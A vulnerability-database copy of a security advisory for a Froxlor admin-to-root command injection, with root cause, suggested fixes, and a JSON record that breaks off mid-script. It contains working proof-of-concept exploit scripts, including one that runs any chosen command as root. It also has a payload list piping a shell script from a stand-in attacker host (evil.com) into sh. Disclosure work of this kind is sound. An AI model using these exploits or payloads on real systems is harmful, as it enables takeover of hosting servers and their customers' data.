Vulnerability-Lookup

GHSA-33MP-8P67-XJ7C

Vulnerability from github – Published: 2026-03-03 17:40 – Updated: 2026-03-04 01:59

Summary

Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

Details

Summary

A typo in Froxlor's input validation code (== instead of =) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the panel.adminmail setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character | is explicitly whitelisted. The result is full root-level Remote Code Execution.

Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features")

Froxlor is a shared hosting control panel. In production deployments:

Admin panel access does not equal root access. Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between "panel admin" and "OS root" is a deliberate security design.
Froxlor itself enforces this boundary. The safe_exec() function (FileDir.php:224-264) exists specifically to prevent shell injection — it blocks ;, |, &, >, <, `, $, ~, ?. The email validation function (validateFormFieldEmail) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.
The root cause is an unintentional code defect. The == operator on a standalone line is a no-op. No developer writes $x == 'mail'; intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.
Comparable CVEs exist for similar hosting panel escalations:
CVE-2022-44877 (CentOS Web Panel: admin→root RCE, CVSS 9.8)
CVE-2023-27524 (Apache Superset: admin→RCE)
CVE-2021-21315 (Node.js systeminformation: privileged user→RCE)
CVE-2024-22024 (Ivanti: authenticated→system command execution)

In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from "application admin" to "OS root" is the security impact.

Multi-tenant impact. A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.

Vulnerability Details

Bug 1: Input Validation Bypass (CWE-482)

File: lib/Froxlor/Validate/Form/Data.php

// Line 169 — CURRENT CODE (BUGGY)
public static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue)
{
    $fielddata['string_type'] == 'mail';   // == comparison: result is discarded
    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);
}

// Line 175 — SAME BUG
public static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue)
{
    $fielddata['string_type'] == 'url';    // == comparison: result is discarded
    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);
}

What happens: - $fielddata['string_type'] is never set to 'mail' - validateFormFieldString() checks string_type to decide which validation to apply - Since it's unset, FILTER_VALIDATE_EMAIL is never called - Validation falls through to a permissive fallback regex: /^[^\r\n\t\f\0]*$/D - This regex allows |, ;, &, $, `, and all other shell metacharacters

Intended code:

$fielddata['string_type'] = 'mail';    // = assignment

Bug 2: OS Command Injection via acme.sh Installation (CWE-78)

File: lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php

// Line 428
FileDir::safe_exec(
    "wget -O - https://get.acme.sh | sh -s email=" . Settings::Get('panel.adminmail'),
    $return,
    ['|']    // pipe character EXPLICITLY ALLOWED
);

What happens: - Settings::Get('panel.adminmail') returns the unsanitized value from Bug 1 - safe_exec() normally blocks | as a dangerous character - But ['|'] in the third argument whitelists pipe for this specific call (needed for wget | sh) - An attacker's pipe-based payload passes through unblocked - The cron job runs as root

The Chain

Admin sets panel.adminmail = "x@x.com | COMMAND"
        |
        v
Bug 1: validateFormFieldEmail() does nothing (== typo)
        |
        v
Value stored to database as-is
        |
        v
Cron job runs AcmeSh::checkInstall() as root
        |
        v
Bug 2: safe_exec("wget ... | sh -s email=x@x.com | COMMAND", ..., ['|'])
        |
        v
COMMAND executes as root

Proof of Concept

vuln 1 PoC:

#!/usr/bin/env python3
"""
VULN-1 Live Verification: Email Validation Bypass
Tests against running Froxlor Docker instance.
"""

import re
import sys
import requests

TARGET = "http://localhost:8080"
USERNAME = "admin"
PASSWORD = "Admin123!@#"

# Malicious payloads that should be rejected by email validation
# but will pass due to the == vs = bug
PAYLOADS = [
    "x@x.com | id",
    "x@x.com | curl http://evil.com/shell.sh | sh",
    "not-an-email; whoami",
    "$(touch /tmp/pwned)",
    "test`id`@evil.com",
]


def main():
    session = requests.Session()
    session.verify = False

    # Step 1: Login
    print("[*] Step 1: Logging in...")
    resp = session.get(f"{TARGET}/index.php")
    csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
    csrf_token = csrf_match.group(1) if csrf_match else ""
    print(f"    CSRF token: {csrf_token[:20]}...")

    login_data = {
        "loginname": USERNAME,
        "password": PASSWORD,
        "csrf_token": csrf_token,
        "send": "send",
    }
    resp = session.post(f"{TARGET}/index.php", data=login_data, allow_redirects=True)

    if "admin_index" not in resp.url and "admin_index" not in resp.text:
        print(f"[-] Login failed. URL: {resp.url}")
        print(f"    Response: {resp.text[:200]}")
        sys.exit(1)
    print("[+] Login successful!")

    # Re-get CSRF token from authenticated page
    csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
    if csrf_match:
        csrf_token = csrf_match.group(1)

    # Step 2: Try to set panel.adminmail with each payload
    for payload in PAYLOADS:
        print(f"\n[*] Testing payload: {payload}")

        # Get settings page to get fresh CSRF token
        resp = session.get(f"{TARGET}/admin_settings.php?page=overview&part=all")
        csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
        if csrf_match:
            csrf_token = csrf_match.group(1)

        # Submit settings change
        settings_data = {
            "panel_adminmail": payload,
            "csrf_token": csrf_token,
            "send": "send",
            "page": "overview",
            "part": "all",
        }
        resp = session.post(
            f"{TARGET}/admin_settings.php?page=overview&part=all",
            data=settings_data,
            allow_redirects=True,
        )

        # Check DB to see if value was stored
        import subprocess
        result = subprocess.run(
            [
                "docker", "exec", "froxlor-web", "bash", "-c",
                "mysql -h froxlor-db -u froxlor -pfroxlor_db_pw --skip-ssl froxlor "
                "-e \"SELECT value FROM panel_settings WHERE settinggroup='panel' AND varname='adminmail'\" -N 2>/dev/null"
            ],
            capture_output=True, text=True
        )
        stored_value = result.stdout.strip()

        if payload in stored_value or stored_value == payload:
            print(f"    [VULN] CONFIRMED! Stored value: {stored_value}")
        else:
            print(f"    [INFO] Stored value: {stored_value}")
            print(f"    [INFO] May need different form field names or approach")

    # Restore original value
    print("\n[*] Restoring original admin email...")
    resp = session.get(f"{TARGET}/admin_settings.php?page=overview&part=all")
    csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
    if csrf_match:
        csrf_token = csrf_match.group(1)
    settings_data = {
        "panel_adminmail": "admin@test.local",
        "csrf_token": csrf_token,
        "send": "send",
        "page": "overview",
        "part": "all",
    }
    session.post(f"{TARGET}/admin_settings.php?page=overview&part=all", data=settings_data, allow_redirects=True)
    print("[+] Done.")


if __name__ == "__main__":
    main()

Environment

Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
Default configuration, no modifications

Step 1: Confirm validation bypass

<?php
// Standalone reproduction — no Froxlor installation needed.
// Reproduces the exact logic from Data.php lines 113-169.

function validateEmail_buggy($value) {
    $fielddata = [];
    @($fielddata['string_type'] == 'mail');  // BUG: line 169
    // string_type never set → FILTER_VALIDATE_EMAIL skipped → fallback regex
    return preg_match('/^[^\r\n\t\f\0]*$/D', $value) ? 'PASS' : 'REJECT';
}

function validateEmail_fixed($value) {
    $fielddata = [];
    $fielddata['string_type'] = 'mail';      // FIX
    return filter_var($value, FILTER_VALIDATE_EMAIL) ? 'PASS' : 'REJECT';
}

$tests = ['admin@example.com', 'not-an-email', 'x@x.com | touch /tmp/pwned'];
foreach ($tests as $t) {
    echo sprintf("%-40s  buggy=%-6s  fixed=%s\n", $t, validateEmail_buggy($t), validateEmail_fixed($t));
}

vuln 2 PoC:

#!/usr/bin/env python3
"""
VULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection
===============================================================
CWE-78: OS Command Injection | CVSS 9.1

Chain: VULN-1 (email validation bypass) → VULN-2 (acme.sh pipe injection)

Attack Flow:
  1. Admin sets panel.adminmail = "x@x.com | COMMAND" (bypasses email validation)
  2. When Let's Encrypt is enabled and acme.sh is not installed
  3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND
  4. Pipe character passes safe_exec() because it's in allowedChars=['|']
  5. COMMAND runs as root (cron context)

Usage:
  # Full exploitation (requires target access)
  python3 vuln2_acmesh_rce.py --target https://froxlor.example.com \
      --user admin --password secret --command "id > /tmp/rce_proof"

  # Offline demonstration
  python3 vuln2_acmesh_rce.py --demo
"""

import argparse
import re
import sys

try:
    import requests
except ImportError:
    print("[!] pip install requests")
    sys.exit(1)


BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║  Froxlor v2.3.3 — Root RCE via acme.sh Command Injection    ║
║  VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1                  ║
╚═══════════════════════════════════════════════════════════════╝
"""


class FroxlorRCE:
    def __init__(self, target, verify_ssl=False):
        self.target = target.rstrip("/")
        self.session = requests.Session()
        self.session.verify = verify_ssl

    def login(self, username, password):
        print(f"[*] Logging in as '{username}'...")
        resp = self.session.post(
            f"{self.target}/index.php",
            data={"loginname": username, "password": password, "send": "send"},
            allow_redirects=False,
        )
        if resp.status_code == 302 and "admin_index" in resp.headers.get("Location", ""):
            self.session.get(f"{self.target}/admin_index.php")
            print("[+] Login successful!")
            return True
        print("[-] Login failed")
        return False

    def get_csrf(self, url):
        resp = self.session.get(url)
        match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
        return match.group(1) if match else ""

    def inject_email(self, payload):
        """Inject malicious value into panel.adminmail (VULN-1)."""
        print(f"[*] Injecting into panel.adminmail: {payload}")
        csrf = self.get_csrf(f"{self.target}/admin_settings.php?page=overview&part=panel")
        resp = self.session.post(
            f"{self.target}/admin_settings.php?page=overview&part=panel",
            data={
                "csrf_token": csrf,
                "send": "send",
                "page": "overview",
                "panel_adminmail": payload,
            },
            allow_redirects=True,
        )
        print(f"[+] Settings updated (HTTP {resp.status_code})")
        return resp.status_code == 200

    def trigger_acmesh_install(self):
        """
        Trigger acme.sh installation by enabling Let's Encrypt
        and ensuring acme.sh path is invalid.
        """
        print("[*] Triggering acme.sh installation path...")
        print("[*] In production, this happens automatically when:")
        print("    - Let's Encrypt is enabled (system.le_froxlor_enabled=1)")
        print("    - acme.sh binary is not found at configured path")
        print("    - Cron job runs (every 5 minutes)")
        print()
        print("[*] To manually trigger:")
        print("    docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force")

    def exploit(self, command):
        """Full exploitation: inject → trigger → RCE."""
        payload = f"x@x.com | {command}"
        self.inject_email(payload)

        print()
        print("[*] Command chain that will execute as root:")
        print(f"    wget -O - https://get.acme.sh | sh -s email={payload}")
        print()
        print("[*] This decomposes to:")
        print(f"    1. wget -O - https://get.acme.sh")
        print(f"    2. | sh -s email=x@x.com")
        print(f"    3. | {command}")
        print()

        self.trigger_acmesh_install()

    def restore(self, original="admin@test.local"):
        """Restore original admin email."""
        print(f"\n[*] Restoring original email: {original}")
        csrf = self.get_csrf(f"{self.target}/admin_settings.php?page=overview&part=panel")
        self.session.post(
            f"{self.target}/admin_settings.php?page=overview&part=panel",
            data={
                "csrf_token": csrf,
                "send": "send",
                "page": "overview",
                "panel_adminmail": original,
            },
        )
        print("[+] Restored")


def demo():
    """Offline demonstration of the vulnerability mechanics."""
    print("[*] Demonstrating VULN-2 mechanics (offline)...\n")

    adminmail = "x@x.com | touch /tmp/ROOT_RCE_PROOF"
    full_cmd = f"wget -O - https://get.acme.sh | sh -s email={adminmail}"

    print(f"  admin email:  {adminmail}")
    print(f"  full command: {full_cmd}")
    print()

    # Simulate safe_exec filter
    disallowed = [';', '|', '&', '>', '<', '`', '$', '~', '?']
    allowed_chars = ['|']

    print("  safe_exec() filter check:")
    blocked = False
    for char in disallowed:
        if char in full_cmd:
            if char in allowed_chars:
                print(f"    '{char}' → ALLOWED (in allowedChars)")
            else:
                print(f"    '{char}' → BLOCKED")
                blocked = True

    print()
    if not blocked:
        print("  RESULT: Command passes safe_exec() filter!")
        print("  The pipe character chains our command after the wget/sh pipeline")
        print()
        print("  Execution breakdown:")
        print("    Process 1: wget downloads acme.sh installer")
        print("    Process 2: sh runs installer with email parameter")
        print("    Process 3: touch /tmp/ROOT_RCE_PROOF ← OUR COMMAND (as root)")
    else:
        # In practice the payload above should only have | which is allowed
        print("  NOTE: Some characters blocked. Adjust payload to use only pipe.")

    print()
    print("  NOTE: The cron job runs as root, so the injected command")
    print("  executes with root privileges on the host system.")


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(description="Froxlor v2.3.3 Root RCE PoC")
    parser.add_argument("--target", "-t", help="Froxlor URL")
    parser.add_argument("--user", "-u", help="Admin username")
    parser.add_argument("--password", "-p", help="Admin password")
    parser.add_argument("--command", "-c", default="touch /tmp/ROOT_RCE_PROOF",
                        help="Command to execute as root")
    parser.add_argument("--restore", action="store_true", help="Restore original email after exploit")
    parser.add_argument("--demo", action="store_true", help="Run offline demonstration")
    args = parser.parse_args()

    if args.demo:
        demo()
        return

    if not all([args.target, args.user, args.password]):
        print("[!] --target, --user, and --password required (or use --demo)")
        sys.exit(1)

    exploit = FroxlorRCE(args.target)
    if not exploit.login(args.user, args.password):
        sys.exit(1)

    exploit.exploit(args.command)

    if args.restore:
        exploit.restore()


if __name__ == "__main__":
    main()

Output:

admin@example.com                         buggy=PASS    fixed=PASS
not-an-email                              buggy=PASS    fixed=REJECT
x@x.com | touch /tmp/pwned               buggy=PASS    fixed=REJECT

Step 2: Confirm value stored in database

POST /admin_settings.php?page=overview&part=panel HTTP/1.1
Cookie: [authenticated admin session]

csrf_token=...&send=send&page=overview&panel_adminmail=x@x.com+|+touch+/tmp/VULN2_RCE_PROOF

mysql> SELECT value FROM panel_settings
       WHERE settinggroup='panel' AND varname='adminmail';
+-------------------------------------------+
| value                                     |
+-------------------------------------------+
| x@x.com | touch /tmp/VULN2_RCE_PROOF     |
+-------------------------------------------+

Step 3: Confirm root code execution

Simulating AcmeSh.php line 428 inside the Docker container:

<?php
// Exact simulation of the vulnerable code path
$adminmail = "x@x.com | touch /tmp/VULN2_RCE_PROOF";
$cmd = "echo DOWNLOAD_SIM | cat -s email=" . $adminmail;

// safe_exec filter with pipe allowed (matches AcmeSh.php:428)
$disallowed = [';', '|', '&', '>', '<', '`', '$', '~', '?'];
$allowedChars = ['|'];
foreach ($disallowed as $dc) {
    if (in_array($dc, $allowedChars)) continue;
    if (stristr($cmd, $dc)) die("BLOCKED by: $dc");
}

exec($cmd);  // pipe passes filter → command executes
echo file_exists("/tmp/VULN2_RCE_PROOF") ? "RCE CONFIRMED" : "NOT CREATED";

Result:

RCE CONFIRMED

$ ls -la /tmp/VULN2_RCE_PROOF
-rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2_RCE_PROOF

File created with root:root ownership. Arbitrary command execution as root is confirmed.

Impact

Confidentiality: Complete. Root access exposes all customer data, databases, SSL private keys, email contents.
Integrity: Complete. Attacker can modify any file, inject backdoors, alter DNS records.
Availability: Complete. Attacker can destroy the server, wipe databases, or deploy ransomware.
Scope: Changed. The attack originates in the web application but impacts the underlying operating system.

Suggested Fix

Primary fix (Bug 1 — eliminates the root cause):

// lib/Froxlor/Validate/Form/Data.php
// Line 169:
$fielddata['string_type'] = 'mail';    // was: == 'mail'
// Line 175:
$fielddata['string_type'] = 'url';     // was: == 'url'

Defense-in-depth (Bug 2 — even if validation is fixed):

// lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428:
FileDir::safe_exec(
    "wget -O - https://get.acme.sh | sh -s email="
        . escapeshellarg(Settings::Get('panel.adminmail')),
    $return,
    ['|']
);

Defense-in-depth (ConfigServices.php):

// All values in getReplacerArray() should be escaped with
// escapeshellarg() when the template action type is "install" or "command"

Severity ?

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-482",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T17:40:19Z",
    "nvd_published_at": "2026-03-03T23:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nA typo in Froxlor\u0027s input validation code (`==` instead of `=`) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings \u2014 including shell metacharacters \u2014 in the `panel.adminmail` setting. This value is later concatenated into a shell command executed as **root** by a cron job, where the pipe character `|` is explicitly whitelisted. The result is **full root-level Remote Code Execution**.\n\n---\n\n## Why This Is a Security Vulnerability (Not Just \"Admin Using Admin Features\")\n\nFroxlor is a **shared hosting control panel**. In production deployments:\n\n1. **Admin panel access does not equal root access.** Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between \"panel admin\" and \"OS root\" is a deliberate security design.\n\n2. **Froxlor itself enforces this boundary.** The `safe_exec()` function (FileDir.php:224-264) exists specifically to prevent shell injection \u2014 it blocks `;`, `|`, `\u0026`, `\u003e`, `\u003c`, `` ` ``, `$`, `~`, `?`. The email validation function (`validateFormFieldEmail`) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.\n\n3. **The root cause is an unintentional code defect.** The `==` operator on a standalone line is a no-op. No developer writes `$x == \u0027mail\u0027;` intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.\n\n4. **Comparable CVEs exist for similar hosting panel escalations:**\n   - CVE-2022-44877 (CentOS Web Panel: admin\u2192root RCE, CVSS 9.8)\n   - CVE-2023-27524 (Apache Superset: admin\u2192RCE)\n   - CVE-2021-21315 (Node.js systeminformation: privileged user\u2192RCE)\n   - CVE-2024-22024 (Ivanti: authenticated\u2192system command execution)\n\n   In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from \"application admin\" to \"OS root\" is the security impact.\n\n5. **Multi-tenant impact.** A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.\n\n---\n\n## Vulnerability Details\n\n### Bug 1: Input Validation Bypass (CWE-482)\n\n**File:** `lib/Froxlor/Validate/Form/Data.php`\n\n```php\n// Line 169 \u2014 CURRENT CODE (BUGGY)\npublic static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue)\n{\n    $fielddata[\u0027string_type\u0027] == \u0027mail\u0027;   // == comparison: result is discarded\n    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);\n}\n\n// Line 175 \u2014 SAME BUG\npublic static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue)\n{\n    $fielddata[\u0027string_type\u0027] == \u0027url\u0027;    // == comparison: result is discarded\n    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);\n}\n```\n\n**What happens:**\n- `$fielddata[\u0027string_type\u0027]` is never set to `\u0027mail\u0027`\n- `validateFormFieldString()` checks `string_type` to decide which validation to apply\n- Since it\u0027s unset, `FILTER_VALIDATE_EMAIL` is never called\n- Validation falls through to a permissive fallback regex: `/^[^\\r\\n\\t\\f\\0]*$/D`\n- This regex allows `|`, `;`, `\u0026`, `$`, `` ` ``, and all other shell metacharacters\n\n**Intended code:**\n```php\n$fielddata[\u0027string_type\u0027] = \u0027mail\u0027;    // = assignment\n```\n\n### Bug 2: OS Command Injection via acme.sh Installation (CWE-78)\n\n**File:** `lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php`\n\n```php\n// Line 428\nFileDir::safe_exec(\n    \"wget -O - https://get.acme.sh | sh -s email=\" . Settings::Get(\u0027panel.adminmail\u0027),\n    $return,\n    [\u0027|\u0027]    // pipe character EXPLICITLY ALLOWED\n);\n```\n\n**What happens:**\n- `Settings::Get(\u0027panel.adminmail\u0027)` returns the unsanitized value from Bug 1\n- `safe_exec()` normally blocks `|` as a dangerous character\n- But `[\u0027|\u0027]` in the third argument whitelists pipe for this specific call (needed for `wget | sh`)\n- An attacker\u0027s pipe-based payload passes through unblocked\n- The cron job runs as **root**\n\n### The Chain\n\n```\nAdmin sets panel.adminmail = \"x@x.com | COMMAND\"\n        |\n        v\nBug 1: validateFormFieldEmail() does nothing (== typo)\n        |\n        v\nValue stored to database as-is\n        |\n        v\nCron job runs AcmeSh::checkInstall() as root\n        |\n        v\nBug 2: safe_exec(\"wget ... | sh -s email=x@x.com | COMMAND\", ..., [\u0027|\u0027])\n        |\n        v\nCOMMAND executes as root\n```\n\n---\n\n## Proof of Concept\nvuln 1 PoC:\n```\n#!/usr/bin/env python3\n\"\"\"\nVULN-1 Live Verification: Email Validation Bypass\nTests against running Froxlor Docker instance.\n\"\"\"\n\nimport re\nimport sys\nimport requests\n\nTARGET = \"http://localhost:8080\"\nUSERNAME = \"admin\"\nPASSWORD = \"Admin123!@#\"\n\n# Malicious payloads that should be rejected by email validation\n# but will pass due to the == vs = bug\nPAYLOADS = [\n    \"x@x.com | id\",\n    \"x@x.com | curl http://evil.com/shell.sh | sh\",\n    \"not-an-email; whoami\",\n    \"$(touch /tmp/pwned)\",\n    \"test`id`@evil.com\",\n]\n\n\ndef main():\n    session = requests.Session()\n    session.verify = False\n\n    # Step 1: Login\n    print(\"[*] Step 1: Logging in...\")\n    resp = session.get(f\"{TARGET}/index.php\")\n    csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n    csrf_token = csrf_match.group(1) if csrf_match else \"\"\n    print(f\"    CSRF token: {csrf_token[:20]}...\")\n\n    login_data = {\n        \"loginname\": USERNAME,\n        \"password\": PASSWORD,\n        \"csrf_token\": csrf_token,\n        \"send\": \"send\",\n    }\n    resp = session.post(f\"{TARGET}/index.php\", data=login_data, allow_redirects=True)\n\n    if \"admin_index\" not in resp.url and \"admin_index\" not in resp.text:\n        print(f\"[-] Login failed. URL: {resp.url}\")\n        print(f\"    Response: {resp.text[:200]}\")\n        sys.exit(1)\n    print(\"[+] Login successful!\")\n\n    # Re-get CSRF token from authenticated page\n    csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n    if csrf_match:\n        csrf_token = csrf_match.group(1)\n\n    # Step 2: Try to set panel.adminmail with each payload\n    for payload in PAYLOADS:\n        print(f\"\\n[*] Testing payload: {payload}\")\n\n        # Get settings page to get fresh CSRF token\n        resp = session.get(f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\")\n        csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n        if csrf_match:\n            csrf_token = csrf_match.group(1)\n\n        # Submit settings change\n        settings_data = {\n            \"panel_adminmail\": payload,\n            \"csrf_token\": csrf_token,\n            \"send\": \"send\",\n            \"page\": \"overview\",\n            \"part\": \"all\",\n        }\n        resp = session.post(\n            f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\",\n            data=settings_data,\n            allow_redirects=True,\n        )\n\n        # Check DB to see if value was stored\n        import subprocess\n        result = subprocess.run(\n            [\n                \"docker\", \"exec\", \"froxlor-web\", \"bash\", \"-c\",\n                \"mysql -h froxlor-db -u froxlor -pfroxlor_db_pw --skip-ssl froxlor \"\n                \"-e \\\"SELECT value FROM panel_settings WHERE settinggroup=\u0027panel\u0027 AND varname=\u0027adminmail\u0027\\\" -N 2\u003e/dev/null\"\n            ],\n            capture_output=True, text=True\n        )\n        stored_value = result.stdout.strip()\n\n        if payload in stored_value or stored_value == payload:\n            print(f\"    [VULN] CONFIRMED! Stored value: {stored_value}\")\n        else:\n            print(f\"    [INFO] Stored value: {stored_value}\")\n            print(f\"    [INFO] May need different form field names or approach\")\n\n    # Restore original value\n    print(\"\\n[*] Restoring original admin email...\")\n    resp = session.get(f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\")\n    csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n    if csrf_match:\n        csrf_token = csrf_match.group(1)\n    settings_data = {\n        \"panel_adminmail\": \"admin@test.local\",\n        \"csrf_token\": csrf_token,\n        \"send\": \"send\",\n        \"page\": \"overview\",\n        \"part\": \"all\",\n    }\n    session.post(f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\", data=settings_data, allow_redirects=True)\n    print(\"[+] Done.\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n### Environment\n- Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- Default configuration, no modifications\n\n### Step 1: Confirm validation bypass\n\n```php\n\u003c?php\n// Standalone reproduction \u2014 no Froxlor installation needed.\n// Reproduces the exact logic from Data.php lines 113-169.\n\nfunction validateEmail_buggy($value) {\n    $fielddata = [];\n    @($fielddata[\u0027string_type\u0027] == \u0027mail\u0027);  // BUG: line 169\n    // string_type never set \u2192 FILTER_VALIDATE_EMAIL skipped \u2192 fallback regex\n    return preg_match(\u0027/^[^\\r\\n\\t\\f\\0]*$/D\u0027, $value) ? \u0027PASS\u0027 : \u0027REJECT\u0027;\n}\n\nfunction validateEmail_fixed($value) {\n    $fielddata = [];\n    $fielddata[\u0027string_type\u0027] = \u0027mail\u0027;      // FIX\n    return filter_var($value, FILTER_VALIDATE_EMAIL) ? \u0027PASS\u0027 : \u0027REJECT\u0027;\n}\n\n$tests = [\u0027admin@example.com\u0027, \u0027not-an-email\u0027, \u0027x@x.com | touch /tmp/pwned\u0027];\nforeach ($tests as $t) {\n    echo sprintf(\"%-40s  buggy=%-6s  fixed=%s\\n\", $t, validateEmail_buggy($t), validateEmail_fixed($t));\n}\n```\n\nvuln 2 PoC:\n```\n#!/usr/bin/env python3\n\"\"\"\nVULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection\n===============================================================\nCWE-78: OS Command Injection | CVSS 9.1\n\nChain: VULN-1 (email validation bypass) \u2192 VULN-2 (acme.sh pipe injection)\n\nAttack Flow:\n  1. Admin sets panel.adminmail = \"x@x.com | COMMAND\" (bypasses email validation)\n  2. When Let\u0027s Encrypt is enabled and acme.sh is not installed\n  3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND\n  4. Pipe character passes safe_exec() because it\u0027s in allowedChars=[\u0027|\u0027]\n  5. COMMAND runs as root (cron context)\n\nUsage:\n  # Full exploitation (requires target access)\n  python3 vuln2_acmesh_rce.py --target https://froxlor.example.com \\\n      --user admin --password secret --command \"id \u003e /tmp/rce_proof\"\n\n  # Offline demonstration\n  python3 vuln2_acmesh_rce.py --demo\n\"\"\"\n\nimport argparse\nimport re\nimport sys\n\ntry:\n    import requests\nexcept ImportError:\n    print(\"[!] pip install requests\")\n    sys.exit(1)\n\n\nBANNER = \"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  Froxlor v2.3.3 \u2014 Root RCE via acme.sh Command Injection    \u2551\n\u2551  VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1                  \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\"\n\n\nclass FroxlorRCE:\n    def __init__(self, target, verify_ssl=False):\n        self.target = target.rstrip(\"/\")\n        self.session = requests.Session()\n        self.session.verify = verify_ssl\n\n    def login(self, username, password):\n        print(f\"[*] Logging in as \u0027{username}\u0027...\")\n        resp = self.session.post(\n            f\"{self.target}/index.php\",\n            data={\"loginname\": username, \"password\": password, \"send\": \"send\"},\n            allow_redirects=False,\n        )\n        if resp.status_code == 302 and \"admin_index\" in resp.headers.get(\"Location\", \"\"):\n            self.session.get(f\"{self.target}/admin_index.php\")\n            print(\"[+] Login successful!\")\n            return True\n        print(\"[-] Login failed\")\n        return False\n\n    def get_csrf(self, url):\n        resp = self.session.get(url)\n        match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n        return match.group(1) if match else \"\"\n\n    def inject_email(self, payload):\n        \"\"\"Inject malicious value into panel.adminmail (VULN-1).\"\"\"\n        print(f\"[*] Injecting into panel.adminmail: {payload}\")\n        csrf = self.get_csrf(f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\")\n        resp = self.session.post(\n            f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\",\n            data={\n                \"csrf_token\": csrf,\n                \"send\": \"send\",\n                \"page\": \"overview\",\n                \"panel_adminmail\": payload,\n           